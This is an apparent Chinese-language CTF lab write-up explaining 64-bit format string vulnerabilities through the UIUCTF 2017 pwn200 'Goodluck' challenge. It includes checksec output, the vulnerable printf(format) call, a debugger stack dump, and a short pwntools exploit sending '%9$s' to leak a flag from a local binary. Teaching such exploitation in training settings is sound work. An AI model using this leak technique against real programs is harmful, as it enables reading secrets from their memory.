64 位程序格式化字符串漏洞

Table of Contents

原理

其实 64 位的偏移计算和 32 位类似,都是算对应的参数。只不过 64 位函数的前 6 个参数是存储在相应的寄存器中的。但是在利用格式化字符串时,虽然我们并没有向相应寄存器中放入数据,但是程序依旧会按照格式化字符串的相应格式对其进行解析。

例子

2017 UIUCTF pwn200 Goodluck

Checksec:

# zer0ptr @ DESKTOP-FHEMUHT in ~/CTF-Training/Pwn/fmtstr/UIUCTF-pwn200Goodluck on git:master x [12:06:12]
$ checksec goodluck
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/zer0ptr/.cache/.pwntools-cache-3.10/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
        [update]
        interval=never
[*] You have the latest version of Pwntools (4.15.0)
[*] '/home/zer0ptr/CTF-Training/Pwn/fmtstr/UIUCTF-pwn200Goodluck/goodluck'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

可以看出程序开启了 NX 保护以及部分 RELRO 保护。

分析程序

  for ( j = 0; j <= 21; ++j )
  {
    v5 = format[j];
    if ( !v5 || v11[j] != v5 )
    {
      puts("You answered:");
      printf(format);
      puts("\nBut that was totally wrong lol get rekt");
      fflush(_bss_start);
      result = 0;
      goto LABEL_11;
    }
  }

确定偏移

──────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdcd8 —▸ 0x400890 (main+234) ◂— mov edi, 0x4009b8
01:0008│-040 0x7fffffffdce0 ◂— 0x31000000
02:0010│-038 0x7fffffffdce8 —▸ 0x602ca0 ◂— 0x363534333231 /* '123456' */
03:0018│-030 0x7fffffffdcf0 —▸ 0x6022a0 ◂— 0x602
04:0020│-028 0x7fffffffdcf8 —▸ 0x7fffffffdd00 ◂— 0x616c667b67616c66 ('flag{fla')

──────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> fmtarg 0x7fffffffdcf8
The index of format argument : 10 (\"\%9$p\")

Exploit

from pwn import *

context(arch='amd64', os='linux')
goodluck = ELF('./goodluck')
sh = process('./goodluck')

payload = b"%9$s"
print(payload)
# gdb.attach(sh)
sh.sendline(payload)
print(sh.recv())
sh.interactive()
# zer0ptr @ DESKTOP-FHEMUHT in ~/CTF-Training/Pwn/fmtstr/UIUCTF-pwn200Goodluck on git:master x [12:12:00] C:130
$ python3 exp.py
[*] '/home/zer0ptr/CTF-Training/Pwn/fmtstr/UIUCTF-pwn200Goodluck/goodluck'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[+] Starting local process './goodluck': pid 7481
[*] Process './goodluck' stopped with exit code 0 (pid 7481)
b"what's the flag\nYou answered:\nflag{flag}\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\nBut that was totally wrong lol get rekt\n"
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$